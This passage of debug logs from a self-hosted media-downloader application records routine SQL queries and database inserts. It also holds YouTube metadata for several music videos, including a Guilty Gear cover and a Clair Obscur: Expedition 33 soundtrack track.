=> 12, "timestamp" => 1721510583, "title" => "rises the moon", "upload_date" => "20240720"} 22:22:12.098 [debug] QUERY OK source="sources" db=0.2ms idle=1001.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:22:12.098 [debug] QUERY OK source="sources" db=0.1ms idle=1001.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:12.098 [debug] QUERY OK source="media_items" db=0.1ms idle=1001.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-07-20 21:23:03Z], 1] 22:22:12.392 [debug] QUERY OK source="media_items" db=293.6ms idle=1001.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["song - rises the moon - Liana Flores\nanime - Frieren: Beyond Journey's End\n\n\n\n\n\n\nversion without subtitles: https://youtu.be/a9FaCsUKu24\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\ntags: rises the moon, frieren, sousou no frieren, beyond journeys end, amv, edit, liana flores, anime", "rises the moon", "2f05a373-35c2-46ee-94e7-c3827a61a558", false, "5b2MFJMeonI", 97, false, "https://www.youtube.com/watch?v=5b2MFJMeonI", 12, "/downloads/Nightcore/Nightcore/2024-07-20rises the moon[5b2MFJMeonI].m4a", false, false, 1, [], 1, ~U[2024-07-20 21:23:03Z], ~U[2026-07-24 02:22:12Z], ~U[2026-07-24 02:22:12Z], "song - rises the moon - Liana Flores\nanime - Frieren: Beyond Journey's End\n\n\n\n\n\n\nversion without subtitles: https://youtu.be/a9FaCsUKu24\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\ntags: rises the moon, frieren, sousou no frieren, beyond journeys end, amv, edit, liana flores, anime", "rises the moon", "5b2MFJMeonI", 97, false, "https://www.youtube.com/watch?v=5b2MFJMeonI", "/downloads/Nightcore/Nightcore/2024-07-20rises the moon[5b2MFJMeonI].m4a", false, 1, ~U[2024-07-20 21:23:03Z]] 22:22:12.393 [debug] QUERY OK source="sources" db=0.2ms idle=295.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:12.393 [debug] QUERY OK source="media_profiles" db=0.1ms idle=295.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:12.393 [debug] QUERY OK source="media_items" db=0.1ms idle=295.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12] 22:22:12.393 [debug] Current batch of media processed. Will check again in 1000ms 22:22:13.395 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "✦ Stream my version of \"Extras\" on multiple different streaming services!\nYou can PRE-SAVE the track here: https://distrokid.com/hyperfollow/jen23/extras-from-guilty-gear--strive-\n\nSpotify ◇ https://open.spotify.com/intl-de/track/3YdypwsBbB5ARJORLn6fge?si=0ebc1c10b75e49ed\nSoundCloud ◇ https://soundcloud.com/xunreachablee/extras-city-pop-coverguilty-gear-strive-verjen\nApple Music ◇ https://music.apple.com/us/album/extras-from-guilty-gear-strive-single/1826036785\nAmazon Music ◇ https://music.amazon.com/albums/B0FH9QBJPV\n\n✦ This cover is intended to be listened to w/ headphones! \nLots of fancy stereo and ping pong ahead!! ✦\n\n@arturesugaming went ahead and created a mod where you can enjoy my version \nin lobby if you want!!! thank you so much!!!! hehe\nhttps://gamebanana.com/sounds/80931\n\n________________________________________\n\nHallöchen, ihr Lieben! ✧・゚:* \n\nHELLO HELLO!!!!!!!!! how is everyone??????\nit's been a little while since we last heard from one another!!! \nBUT FEAR NOT FOR I HAVE SOMETHING NEW FOR THOU EARHOLES!\n\nThis time, we're diving into the world of Guilty Gear! \n\nSpecifically Strive 'cus one silly little duck convinced me to give it a try \nover three months ago AND OH WELL, Elphelt took my heart by storm. \nDue to this being my first actual attempt at fighting games, I am majorly \nsucking butt at this very moment but I am optimistic that I can somewhat\nget the hang of it if I give it my all! Thanks to said silly little duck and \ncountless past coaching sessions, I am certain that it's loads of fun to \nplay once one understands the core of this very fancy version of \nrock paper scissors.\n\nBUT UNTIL THEN, YOU SHALL ENJOY THIS LITTLE TRACK I'VE COOKED \nUP THROUGHOUT MY STARTING DAYS IN THE GUILTS OF GEARS.\n\nI hope you enjoy my little re-imagine of Elphelt's theme and \nhave a lovely rest of the week!!!\n\nAs always, with love,\njen x\n\n________________________________________\n\n✦ CREDITS\n\"Extras\" from Guilty Gear -Strive-, theme of Elphelt Valentine\nComposed by Daisuke Ishiwatari\nOriginally performed by Molly Daisy\n♡ https://youtu.be/rhlZY4D8jlQ?si=IHkHAyrPp0dthTXV\n\nVocal / Mix / Music / Video ◇ jen\nScanned Elphelt Plush ◇ MayaIsAnimating (https://www.reddit.com/user/RedSnow6632/)\nAdditional Crowd Vocals ◇ Jamie & Lucas ♡\nAlbum Cover & Thumbnail Illustration ◇ Phil A\n\n________________________________________\n\n✦ GET IN TOUCH\nE-Mail → xunreachablee@web.de\nX → https://twitter.com/xUnreachablee\nSoundCloud → https://soundcloud.com/xunreachablee\n\n________________________________________\n\n- About jen\njen's also formally known as xUnreachablee is a german cover artist and producer. \nHer journey on YouTube started over a decade ago, initially with a german cover of \nthe first ATTACK ON TITAN opening that has ever since been deleted. \nNow, jen dedicates her free time to cover a vast variety of songs, spanning across \nmultiple different genre and media - creating more than 200 individual covers in \nenglish, german or even japanese.\n\n#guiltygearstrive #elphelt #citypop #cover\n\n________________________________________\n\nUsed footage:\nPlush gif (neutral): https://tenor.com/de/view/elphelt-valentine-elphelt-plush-elphelt-guilty-gear-plush-gif-12574333055562978112\nPlush gif (chaotic evil): https://tenor.com/view/elphelt-valentine-gif-7989070447292889832\nRocking left to right: https://tenor.com/de/view/loimf-loimfy-rub-a-dub-a-dub-love-cute-gif-8496196420083477691\nLetter: https://tenor.com/de/view/loimf-loimfy-rub-a-dub-a-dub-love-cute-gif-12959554312710383613\nHappy Elphelt: https://tenor.com/de/view/ggst-elphelt-elphelt-valentine-guilty-gear-guilty-gear--strive--gif-15774969657406111103\nBald Elphelt: https://tenor.com/de/view/elphelt-elphelt-valentine-bald-guilty-gear-guilty-gear-strive-gif-14788147135320327257\nBreakdancing Elphelt: https://tenor.com/de/view/elphelt-valentine-elphelt-guilty-gear-ggst-guilty-gear-strive-gif-17200802074161048131\nAspahlt: https://tenor.com/de/view/guilty-gear-elphelt-elphelt-valentine-gif-4481130338022856968\nSleeping Elphelt: https://tenor.com/de/view/elphelt-elphelt-valentine-elphelt-sleep-elphelt-valen" <> ..., "duration" => 368, "filename" => "/downloads/Nightcore/Nightcore/2025-07-08EXTRAS (City Pop Cover)「Guilty Gear -Strive-」⧸ ver.jen[ILef5RTqdYs].m4a", "id" => "ILef5RTqdYs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=ILef5RTqdYs", "playlist_index" => 13, "timestamp" => 1752007114, "title" => "EXTRAS (City Pop Cover)「Guilty Gear -Strive-」/ ver.jen", "upload_date" => "20250708"} 22:22:13.396 [debug] QUERY OK source="sources" db=0.5ms idle=1002.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:22:13.396 [debug] QUERY OK source="sources" db=0.3ms idle=1003.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:13.397 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=1003.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-08 20:38:34Z], 1] 22:22:13.679 [debug] QUERY OK source="media_items" db=280.2ms idle=1004.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["✦ Stream my version of \"Extras\" on multiple different streaming services!\nYou can PRE-SAVE the track here: https://distrokid.com/hyperfollow/jen23/extras-from-guilty-gear--strive-\n\nSpotify ◇ https://open.spotify.com/intl-de/track/3YdypwsBbB5ARJORLn6fge?si=0ebc1c10b75e49ed\nSoundCloud ◇ https://soundcloud.com/xunreachablee/extras-city-pop-coverguilty-gear-strive-verjen\nApple Music ◇ https://music.apple.com/us/album/extras-from-guilty-gear-strive-single/1826036785\nAmazon Music ◇ https://music.amazon.com/albums/B0FH9QBJPV\n\n✦ This cover is intended to be listened to w/ headphones! \nLots of fancy stereo and ping pong ahead!! ✦\n\n@arturesugaming went ahead and created a mod where you can enjoy my version \nin lobby if you want!!! thank you so much!!!! hehe\nhttps://gamebanana.com/sounds/80931\n\n________________________________________\n\nHallöchen, ihr Lieben! ✧・゚:* \n\nHELLO HELLO!!!!!!!!! how is everyone??????\nit's been a little while since we last heard from one another!!! \nBUT FEAR NOT FOR I HAVE SOMETHING NEW FOR THOU EARHOLES!\n\nThis time, we're diving into the world of Guilty Gear! \n\nSpecifically Strive 'cus one silly little duck convinced me to give it a try \nover three months ago AND OH WELL, Elphelt took my heart by storm. \nDue to this being my first actual attempt at fighting games, I am majorly \nsucking butt at this very moment but I am optimistic that I can somewhat\nget the hang of it if I give it my all! Thanks to said silly little duck and \ncountless past coaching sessions, I am certain that it's loads of fun to \nplay once one understands the core of this very fancy version of \nrock paper scissors.\n\nBUT UNTIL THEN, YOU SHALL ENJOY THIS LITTLE TRACK I'VE COOKED \nUP THROUGHOUT MY STARTING DAYS IN THE GUILTS OF GEARS.\n\nI hope you enjoy my little re-imagine of Elphelt's theme and \nhave a lovely rest of the week!!!\n\nAs always, with love,\njen x\n\n________________________________________\n\n✦ CREDITS\n\"Extras\" from Guilty Gear -Strive-, theme of Elphelt Valentine\nComposed by Daisuke Ishiwatari\nOriginally performed by Molly Daisy\n♡ https://youtu.be/rhlZY4D8jlQ?si=IHkHAyrPp0dthTXV\n\nVocal / Mix / Music / Video ◇ jen\nScanned Elphelt Plush ◇ MayaIsAnimating (https://www.reddit.com/user/RedSnow6632/)\nAdditional Crowd Vocals ◇ Jamie & Lucas ♡\nAlbum Cover & Thumbnail Illustration ◇ Phil A\n\n________________________________________\n\n✦ GET IN TOUCH\nE-Mail → xunreachablee@web.de\nX → https://twitter.com/xUnreachablee\nSoundCloud → https://soundcloud.com/xunreachablee\n\n________________________________________\n\n- About jen\njen's also formally known as xUnreachablee is a german cover artist and producer. \nHer journey on YouTube started over a decade ago, initially with a german cover of \nthe first ATTACK ON TITAN opening that has ever since been deleted. \nNow, jen dedicates her free time to cover a vast variety of songs, spanning across \nmultiple different genre and media - creating more than 200 individual covers in \nenglish, german or even japanese.\n\n#guiltygearstrive #elphelt #citypop #cover\n\n________________________________________\n\nUsed footage:\nPlush gif (neutral): https://tenor.com/de/view/elphelt-valentine-elphelt-plush-elphelt-guilty-gear-plush-gif-12574333055562978112\nPlush gif (chaotic evil): https://tenor.com/view/elphelt-valentine-gif-7989070447292889832\nRocking left to right: https://tenor.com/de/view/loimf-loimfy-rub-a-dub-a-dub-love-cute-gif-8496196420083477691\nLetter: https://tenor.com/de/view/loimf-loimfy-rub-a-dub-a-dub-love-cute-gif-12959554312710383613\nHappy Elphelt: https://tenor.com/de/view/ggst-elphelt-elphelt-valentine-guilty-gear-guilty-gear--strive--gif-15774969657406111103\nBald Elphelt: https://tenor.com/de/view/elphelt-elphelt-valentine-bald-guilty-gear-guilty-gear-strive-gif-14788147135320327257\nBreakdancing Elphelt: https://tenor.com/de/view/elphelt-valentine-elphelt-guilty-gear-ggst-guilty-gear-strive-gif-17200802074161048131\nAspahlt: https://tenor.com/de/view/guilty-gear-elphelt-elphelt-valentine-gif-4481130338022856968\nSleeping Elphelt: https://tenor.com/de/view/elphelt-elphelt-valentine-elphelt-sleep-elphelt-valen" <> ..., "EXTRAS (City Pop Cover)「Guilty Gear -Strive-」/ ver.jen", "70b99717-eb06-4153-b8e6-edbf3b905c48", false, "ILef5RTqdYs", 368, false, "https://www.youtube.com/watch?v=ILef5RTqdYs", 13, "/downloads/Nightcore/Nightcore/2025-07-08EXTRAS (City Pop Cover)「Guilty Gear -Strive-」⧸ ver.jen[ILef5RTqdYs].m4a", false, false, 1, [], 1, ~U[2025-07-08 20:38:34Z], ~U[2026-07-24 02:22:13Z], ~U[2026-07-24 02:22:13Z], "✦ Stream my version of \"Extras\" on multiple different streaming services!\nYou can PRE-SAVE the track here: https://distrokid.com/hyperfollow/jen23/extras-from-guilty-gear--strive-\n\nSpotify ◇ https://open.spotify.com/intl-de/track/3YdypwsBbB5ARJORLn6fge?si=0ebc1c10b75e49ed\nSoundCloud ◇ https://soundcloud.com/xunreachablee/extras-city-pop-coverguilty-gear-strive-verjen\nApple Music ◇ https://music.apple.com/us/album/extras-from-guilty-gear-strive-single/1826036785\nAmazon Music ◇ https://music.amazon.com/albums/B0FH9QBJPV\n\n✦ This cover is intended to be listened to w/ headphones! \nLots of fancy stereo and ping pong ahead!! ✦\n\n@arturesugaming went ahead and created a mod where you can enjoy my version \nin lobby if you want!!! thank you so much!!!! hehe\nhttps://gamebanana.com/sounds/80931\n\n________________________________________\n\nHallöchen, ihr Lieben! ✧・゚:* \n\nHELLO HELLO!!!!!!!!! how is everyone??????\nit's been a little while since we last heard from one another!!! \nBUT FEAR NOT FOR I HAVE SOMETHING NEW FOR THOU EARHOLES!\n\nThis time, we're diving into the world of Guilty Gear! \n\nSpecifically Strive 'cus one silly little duck convinced me to give it a try \nover three months ago AND OH WELL, Elphelt took my heart by storm. \nDue to this being my first actual attempt at fighting games, I am majorly \nsucking butt at this very moment but I am optimistic that I can somewhat\nget the hang of it if I give it my all! Thanks to said silly little duck and \ncountless past coaching sessions, I am certain that it's loads of fun to \nplay once one understands the core of this very fancy version of \nrock paper scissors.\n\nBUT UNTIL THEN, YOU SHALL ENJOY THIS LITTLE TRACK I'VE COOKED \nUP THROUGHOUT MY STARTING DAYS IN THE GUILTS OF GEARS.\n\nI hope you enjoy my little re-imagine of Elphelt's theme and \nhave a lovely rest of the week!!!\n\nAs always, with love,\njen x\n\n________________________________________\n\n✦ CREDITS\n\"Extras\" from Guilty Gear -Strive-, theme of Elphelt Valentine\nComposed by Daisuke Ishiwatari\nOriginally performed by Molly Daisy\n♡ https://youtu.be/rhlZY4D8jlQ?si=IHkHAyrPp0dthTXV\n\nVocal / Mix / Music / Video ◇ jen\nScanned Elphelt Plush ◇ MayaIsAnimating (https://www.reddit.com/user/RedSnow6632/)\nAdditional Crowd Vocals ◇ Jamie & Lucas ♡\nAlbum Cover & Thumbnail Illustration ◇ Phil A\n\n________________________________________\n\n✦ GET IN TOUCH\nE-Mail → xunreachablee@web.de\nX → https://twitter.com/xUnreachablee\nSoundCloud → https://soundcloud.com/xunreachablee\n\n________________________________________\n\n- About jen\njen's also formally known as xUnreachablee is a german cover artist and pro (truncated) 22:22:13.679 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=580.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:13.680 [debug] QUERY OK source="media_profiles" db=0.2ms idle=283.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:13.680 [debug] QUERY OK source="media_items" db=0.2ms idle=283.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [13] 22:22:13.680 [debug] Current batch of media processed. Will check again in 1000ms 22:22:14.682 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Clair Obscur: Expedition 33 (Original Soundtrack) - Lumière\nComposed by Lorien Testard ft. Alice Duport-Percier\nOrchestral performance by Orchestre Curieux.\n\n🎧 Listen to the full soundtrack on all platforms:\nhttps://lnk.to/clair-obscur-expedition-33\n\n🎮 Clair Obscur: Expedition 33 available now: \nhttps://www.expedition33.com/linkhub\n\nLyrics:\nDim dam talé lam vacarme\nS'en va dans Lumi éternam\nEt Gustave dôme guardéam\nDilim dili lili lam\nLutece séra\nDolilom séram\n\nDim dim dam dada dim dim da dada dim da lilam\nDim dim dam dada dim dim da dada dam di didam\n\nDans là-haut\nSera ravi\nLes toits à ce Renoir\nGriffera\n\nClair-Obscur\nTrouble de rature, courbera Eiffel\nClair-Obscur\nGuardéo peinture, trouvera sans elle\nClair-Obscur\nTrouble de rature, courbera Eiffel\nClair-Obscur\nGuardéo peinture, trouvera sans elle\n\nAu Clair-Obscur\nTrouble rature\nClair-Obscur\nGuardéo peinture\n\nClair-Obscur\nTrouble de rature, courbera Eiffel\nClair-Obscur\nGuardéo peinture, trouvera sans elle\nClair-Obscur\nTrouble de rature, courbera Eiffel\nClair-Obscur\nGuardéo peinture, trouvera sans elle\n\nAu Clair-Obscur\nTrouble rature\nClair-Obscur\nGuardéo peinture\n\nClair-Obscur\nTrouble de rature, courbera Eiffel\nClair-Obscur\nGuardéo peinture, trouvera sans elle\nClair-Obscur\nTrouble de rature, courbera Eiffel\nClair-Obscur\nGuardéo peinture, trouvera sans elle\n\nCredits:\nComposer: Lorien Testard ft. Alice Duport-Percier\nSinger: Alice Duport-Percier \nBacking Vocal : Axelle Verner\nLyrics: Lorien Testard\n\nOrchestral Recording: Orchestre Curieux\nConductor & Orchestral Arrangement: Daniel Sicard\nPiano: Orane Donnadieu\nViolin I: Claire Theobald\nViolin II: Mariane Minjou\nViola: Pierre-Pascal Jean\nCello I: Pauline Boudon\nCello II: Alec Fukuda\nDouble Bass: Lilas Berault\nSound Engineer: Aurélien Bourgois\nChoir Conductor: Victor Rouanet\nChoir: Marie-Cécile Henry Brossard, Céleste Lejeune, Annabelle Daguise, Axelle Verner, Gaël Martin, Fabrice Foison, Alexandre Artemenko, Maxime Saïu\n\nDirection & Editing: Daniel Sicard\nDirector of Photography: Louis Bergogné\nGaffer: Hugo Bellemin\nElectrician: Camille Schuster\nAdditional Electrician: Léonie Roger\nCamera Assistant: Grégoire Kappes\n2nd Camera Assistant: Roxane Bougeot\nSteadicam Operator: Pierre-Louis Bertrand\nCatering: Miches à Micha & Les Marmites Volantes\nProduction Coordinator: Julie Manoukian \nProduction Assistant: Clément Pottier\n\nSpecial thanks to the Sandfall Interactive and Kepler Interactive teams.", "duration" => 222, "filename" => "/downloads/Nightcore/Nightcore/2025-05-02Clair Obscur: Expedition 33 | Lumière [Official Music Video][LpNVf8sczqU].m4a", "id" => "LpNVf8sczqU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=LpNVf8sczqU", "playlist_index" => 14, "timestamp" => 1746188826, "title" => "Clair Obscur: Expedition 33 | Lumière [Official Music Video]", "upload_date" => "20250502"} 22:22:14.683 [debug] QUERY OK source="sources" db=0.4ms idle=1004.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:22:14.684 [debug] QUERY OK source="sources" db=0.4ms idle=1004.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:14.685 [debug] QUERY OK source="media_items" db=0.5ms idle=1004.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-02 12:27:06Z], 1] 22:22:14.803 [debug] QUERY OK source="media_items" db=117.1ms idle=1005.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Clair Obscur: Expedition 33 (Original Soundtrack) - Lumière\nComposed by Lorien Testard ft. Alice Duport-Percier\nOrchestral performance by Orchestre Curieux.\n\n🎧 Listen to the full soundtrack on all platforms:\nhttps://lnk.to/clair-obscur-expedition-33\n\n🎮 Clair Obscur: Expedition 33 available now: \nhttps://www.expedition33.com/linkhub\n\nLyrics:\nDim dam talé lam vacarme\nS'en va dans Lumi éternam\nEt Gustave dôme guardéam\nDilim dili lili lam\nLutece séra\nDolilom séram\n\nDim dim dam dada dim dim da dada dim da lilam\nDim dim dam dada dim dim da dada dam di didam\n\nDans là-haut\nSera ravi\nLes toits à ce Renoir\nGriffera\n\nClair-Obscur\nTrouble de rature, courbera Eiffel\nClair-Obscur\nGuardéo peinture, trouvera sans elle\nClair-Obscur\nTrouble de rature, courbera Eiffel\nClair-Obscur\nGuardéo peinture, trouvera sans elle\n\nAu Clair-Obscur\nTrouble rature\nClair-Obscur\nGuardéo peinture\n\nClair-Obscur\nTrouble de rature, courbera Eiffel\nClair-Obscur\nGuardéo peinture, trouvera sans elle\nClair-Obscur\nTrouble de rature, courbera Eiffel\nClair-Obscur\nGuardéo peinture, trouvera sans elle\n\nAu Clair-Obscur\nTrouble rature\nClair-Obscur\nGuardéo peinture\n\nClair-Obscur\nTrouble de rature, courbera Eiffel\nClair-Obscur\nGuardéo peinture, trouvera sans elle\nClair-Obscur\nTrouble de rature, courbera Eiffel\nClair-Obscur\nGuardéo peinture, trouvera sans elle\n\nCredits:\nComposer: 